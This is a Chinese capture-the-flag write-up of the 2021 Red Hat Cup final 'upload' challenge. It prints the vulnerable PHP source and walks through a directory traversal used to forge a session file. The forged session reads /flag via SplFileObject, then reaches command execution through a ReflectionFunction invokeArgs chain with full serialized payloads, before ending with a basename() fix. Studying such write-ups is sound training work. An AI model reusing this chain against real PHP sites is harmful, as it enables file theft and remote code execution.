[红帽杯 2021 final]upload
由于线下是AWDplus的模式,需要挖洞并且修洞,直接给出了源码,有3个文件。
class.php
<?php
session_start();
function red($fileinfo){
foreach($fileinfo as $key => $value){
$path = $value;
$name = $key;
}
echo "<a style='color:#ff6347' href='$path'>$name</a>\n";
return $name;
}
function green($fileinfo){
foreach($fileinfo as $key => $value){
$path = $value;
$name = $key;
}
echo "<a style='color:#32cd32' href='$path'>$name</a>\n";
return $name;
}
class file{
public $path;
function __construct($path)
{
$this->path = $path;
}
function __toString()
{
return basename($this->path);
}
}
index.php
<?php
include('class.php');
if(!(isset($_SESSION['func']))) {
$_SESSION['func'] = 'showfile';
}
if(!(isset($_SESSION['files']))) {
$_SESSION['files'] = array();
}
if(!(isset($_SESSION['paths']))) {
$_SESSION['paths'] = array();
}
if(isset($_POST['filename'])&&isset($_POST['content'])){
if(stristr($_POST['filename'], 'h')){
die('no h!');
}
$filepath = './files/'.$_POST['filename'];
$filename = basename($_POST['filename']);
file_put_contents($filepath,$_POST['content']);
$_SESSION['files'][$filename] = $filepath;
$_SESSION['paths'][$filepath] = 'file';
header('Location:/?file='.$filename);
}
?>
<!DOCTYPE html>
<html>
<head>
<title>upload</title>
</head>
<body>
<div>
<h3>upload your file below</h3>
<form action="index.php" method="post">
<input type="text" name="filename" value="filename" style="width: 600px;">
</br>
</br>
<textarea type="text" name="content" style="width: 600px;height: 300px;" ></textarea>
</br>
<input type="submit" value="submit">
</form>
<h4>beatiful front</h4>
</div>
<?php
if(rand(0,2)>1){
$showfile = 'red';
}
else{
$showfile ='green';
}
$filelist = array();
foreach ($_SESSION['paths'] as $path=>$class){
$temp = new $class($path);
if($class=='file'){
$filelist[] = (string)$temp;
}
else{
$filelist[] = $temp;
}
}
$out = '<p>your file:';
foreach ($filelist as $value){
$out .= $value.' ';
}
echo $out.'</p>';
if(isset($_GET['file'])){
if(isset($_SESSION['files'][$_GET['file']])) { //GET方法读取文件名,从session的文件名字里面寻找
$pathinfo = array($_GET['file']=>$_SESSION['files'][$_GET['file']]);
${$_SESSION['func']}($pathinfo);
}
else{
echo 'no such file!';
}
}
?>
</body>
</html>
info.php
<?php
phpinfo();
分析题目
首先是index页面
这里能够让用户填写文件的文件名和内容,然后提交,提交的文件正常情况下会保存在./files
目录下,看一下后台是怎么对文件进行操作的:
if(isset($_POST['filename'])&&isset($_POST['content'])){
if(stristr($_POST['filename'], 'h')){ // 对文件名有h字符的进行过滤
die('no h!');
}
$filepath = './files/'.$_POST['filename']; // 这里可以目录穿越
$filename = basename($_POST['filename']); // basename()函数获取文件名字
file_put_contents($filepath,$_POST['content']);
通过分析可以发现我们上传的文件存在目录穿越的问题,我们能通过filename=../xxxx
这种方式将文件保存的路径穿越到服务器的任意路径下,但是由于存在对文件名h字符的过滤,因此无法直接传一个php文件到网站根目录下执行,得另寻僻径。
.user.ini(无果)
既然过滤掉了h字符,意味着.htaccess
这样的修改配置文件意味着行不通,但是我想起了另外一个修改配置的文件.user.ini
。.user.ini
和.htaccess
一样是对当前目录的所以php
文件的配置设置,即写了.user.ini
和它同目录的文件会优先使用.user.ini
中设置的配置属性。
但是不是php.ini
中的每个变量都能通过ini_set()
或者.user.ini
和.htaccess
来设置,简单的来说每个变量有它所属于的模式,下面官方手册的四个模式
通过上表,看到PHP_INI_USER
模式中提到,可以在.user.ini
中设定。但实际上,只要不是PHP_INI_SYSTEM
模式下的属性,均可以在.user.ini
中设置。
那配置文件应该怎么写呢,这里有官方的配置选项列表:php.ini 配置选项列表
在文件上传的题目中,我们只需记住这两个选项即可:
auto_prepend_file = xxx // 在每个文件头添加上指定文件的内容,相当于include(xxx)
user_ini.cache_ttl = xx // 设置配置的生效时间,默认300秒
于是我们就想是否能够通过上传一个一句话木马文件,然后再目录穿越将.user.ini
上传到网站根目录下,内容是让其他文件都包含这个一句话木马,从而实现getshell,但是尝试了很多次都无果,由此猜测运行的模式是PHP_INI_SYSTEM
导致了.user.ini
无法生效。
SplFileObject类读文件
比赛的时候做到这里其实已经没思路了(还是题目刷得少啊),赛后看有通过SplFileObject 类来读文件得思路,那先得了解一下SplFileObject 类是个什么玩意。
SplFileInfo 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作等。详情请参考:https://www.php.net/manual/zh/class.splfileobject.php
该类的构造方法可以构造一个新的文件对象用于后续的读取。
我们可以像类似下面这样去读取一个文件的一行:
<?php
$context = new SplFileObject('/etc/passwd');
echo $context; // 输出 root:x:0:0:root:/root:/bin/bash
但是这样也只能读取一行,要想全部读取的话还需要对文件中的每一行内容进行遍历:
<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
echo($f);
}
session反序列化
那么我们知道了这个类之后有什么用呢,似乎找不到可以用的地方啊,想想文件中是不是还有一个文件我们都没用上,其中必然藏有解题的关键。
$_SESSION['files'][$filename] = $filepath; // 将带有路径的文件名字作为键,文件路径作为值
$_SESSION['paths'][$filepath] = 'file'; // 将文件目录作为键,'file'作为值
header('Location:/?file='.$filename);
}
这里把文件的名字和路径都存到了SESSION里面,但是我们能够看到$_SESSION['paths'][$filepath]
的值是被写死了,我们无法控制,然后接着往下看
$filelist = array();
foreach ($_SESSION['paths'] as $path=>$class){ // 将每一个文件的路径赋值给$path,将'file'赋值给$class
$temp = new $class($path); // 相当于new file(文件的路径)
if($class=='file'){ // 存在$class不等于file的情况吗????
$filelist[] = (string)$temp; //将返回的文件名赋值给列表
}
else{
$filelist[] = $temp;
}
}
$out = '<p>your file:';
foreach ($filelist as $value){
$out .= $value.' '; //从列表中读取输出文件名
}
echo $out.'</p>';
我们可以看到,这里从$_SESSION['paths']
数组里面把每一个键(文件的路径)赋值给$path
,将值'file'
赋值给$class
,然后重点就来了,这里用动态调用的方法新建了一个类对象,看到这里是不是觉得很奇怪,在上一段代码中,已经把每一个$_SESSION['paths']
的值已经写死了为'file'
了,为什么这里要动态调用而不是直接new file($path)
这种更直接的方式呢,这里很明显有问题。接着往下看,这里又用if()
来判断$class
的值是否是'file'
,这就更加明显了了,$class
的值必然又猫腻,但是在比赛的时候我找不到能够利用的方法。看回代码,最后是将新建的类对象赋值给一个临时变量,然后再通过循环输出每一个值,看到这里是不是有点熟悉,这不就是SplFileObject类
需要循环来输出每一行的值吗?于是这里几乎能肯定是通过将$class
的值变成SplFileObject
,来获取文件的内容。
既然是读取SESSION的内容,那我是是否能够改变SESSION的内容呢?结合我们目录穿越的漏洞,实际上如果我们知道SESSION保存的路径和SESSION序列化的方法,那么我们实际上可以直接上传一个SESSION文件到指定的目录中,控制SESSION的内容,所以最后一个info.php文件就是让我们看SESSION保存的路径和序列化方法的。
接着就是构造我们的SESSION序列化后的文件
paths|a:1:{s:5:"/flag";s:13:"SplFileObject";}
这里的键为/flag
对应代码中的$path
,值为SplFileObject
对应$class
,组合起来就是SplFileObject('/flag')
。然后文件名需要目录穿越到/tmp/sess_[SSID的值]
这里我花了好长时间去复现:其中一个原因是对session序列化的结构不熟悉,注意paths前面是没有分号;
的,我就是加了个分号导致系统无法识别到$_SESSION['paths']
结果给我又新建了一个空的$_SESSION['paths']
,所以一直没有输出5555555。
ReflectionFunction反射类
这里是另外一个能利用的类,这个类能够直接写shell,比上面的只能读文件更加牛逼。这也应该是预期解,题目中所有的代码都用上了。
网上能够搜出来CTF中的用法是:
<?php
$func = new ReflectionFunction($_GET[m]);
echo $func->invokeArgs(array($_GET[c]));
?>
那这道题里面该怎么用这个类呢,由于要用到这个类里面的invokeArgs()
这方法,因此要用到数组去动态调用类里面的方法。
example:
class Test{
public function hello($name)
{
echo "hello ".$name;
}
}
$t = new Test();
$a = array(0 => $t,1 => "hello");
$a('john'); // 输出hello john
这里用数组的第一个位置的值是实例化后的类,第二个位置的值是类的方法名,因此我们要的是:
$function = new ReflectionFunction('system');
$a = array(0 => $function,1 => "invokeArgs");
$b = array(0 => 'whoami');
$a($b);
先实例化ReflectionFunction
类对象,然后再构造出这两个数组,最后找到一个能够动态调用的地方。
再看回题目,我们在之前的分析中已经能实现能够实例化自己想要的类了。
paths|a:1:{s::"system";s::"ReflectionFunction";}
那怎么构造出第一个数组呢,再看回这段代码:
$filelist = array();
foreach ($_SESSION['paths'] as $path=>$class){ // 将每一个文件的路径赋值给$path,将'file'赋值给$class
$temp = new $class($path); // 相当于new file(文件的路径)
if($class=='file'){ // 存在$class不等于file的情况吗????
$filelist[] = (string)$temp; //将返回的文件名赋值给列表
}
else{
$filelist[] = $temp;
}
}
这里已经为我们准备好了一个$filelist
数组,在构造ReflectionFunction
类对象的时候由于$class
不等于字符串'file'
,因此是直接放进了数组中,然后数组第二位我们需要是'invokeArgs'
这个字符串,因此我们可以让$class='file'
同时让$path='invokeArgs'
,这样就能够返回一串字符串添加进数组里面,从而完成第一个数组的构造!
paths|a:2:{s:6:"system";s:18:"ReflectionFunction";s:10:"invokeArgs";s:4:"file";}
得到$filelist = array(0 => $temp,1 => "invokeArgs");
接下来就是构造第二个数组,和动态调用类方法。
if(isset($_GET['file'])){
if(isset($_SESSION['files'][$_GET['file']])) { //GET方法读取文件名,从session的文件名字里面寻找
$pathinfo = array($_GET['file']=>$_SESSION['files'][$_GET['file']]);
// 构造数组
${$_SESSION['func']}($pathinfo); // 动态调用!!
}
else{
echo 'no such file!';
}
}
可以看到$pathinfo
这里为我们构造了一个数组,并且数组的键是从GET方法获取的,而值又是从SESSION中的files
数组里面找的,因此我们同样能够控制。
files|a:1:{i:0;s:6:"whoami";}
当使用GET方法去传递file=0
这个参数的时候就能够构造出$pathinfo = array(0=>'whoami')
。
最后是动态调用,这里同样是从SESSION中的func
参数中获取值进行动态调用,因此我们只需构造$_SESSION['func']='filelist'
即可
func|s:8:"filelist"
综上所述,我们写进SESSION文件里面的内容是
func|s:8:"filelist";files|a:1:{i:0;s:6:"whoami";}paths|a:2:{s:6:"system";s:18:"ReflectionFunction";s:10:"invokeArgs";s:4:"file";}
这样就能够getshell了。
修复
修就很简单了,既然是因为目录穿越导致能够控制SESSION的内容,那么修掉目录穿越的地方就好了:
if(isset($_POST['filename'])&&isset($_POST['content'])){
if(stristr($_POST['filename'], 'h')){
die('no h!');
}
$filename = basename($_POST['filename']);
$filepath = './files/'.$filename;
file_put_contents($filepath,$_POST['content']);